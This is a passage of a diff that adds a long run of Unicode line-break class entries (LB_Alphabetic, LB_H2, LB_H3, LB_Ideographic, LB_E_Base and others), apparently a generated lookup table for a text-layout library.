+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_JL,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_H2,
+	LB_H3,
+	LB_Alphabetic,
+	LB_JV,
+	LB_Alphabetic,
+	LB_JT,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Combining_Mark,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Hebrew_Letter,
+	LB_Alphabetic,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Infix_Numeric,
+	LB_Close_Punctuation,
+	LB_Infix_Numeric,
+	LB_Exclamation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Word_Joiner,
+	LB_Alphabetic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Postfix_Numeric,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Exclamation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Ideographic,
+	LB_Close_Punctuation,
+	LB_Ideographic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Nonstarter,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Postfix_Numeric,
+	LB_Prefix_Numeric,
+	LB_Ideographic,
+	LB_Prefix_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Contingent_Break,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Inseparable,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Break_Before,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_Before,
+	LB_Exclamation,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Close_Punctuation,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Break_After,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Break_After,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Combining_Mark,
+	LB_Alphabetic,
+	LB_Numeric,
+	LB_Alphabetic,
+	LB_Open_Punctuation,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Regional_Indicator,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Modifier,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Alphabetic,
+	LB_Quotation,
+	LB_Nonstarter,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_Alphabetic,
+	LB_Ideographic,
+	LB_E_Base,
+	LB_Ideographic,
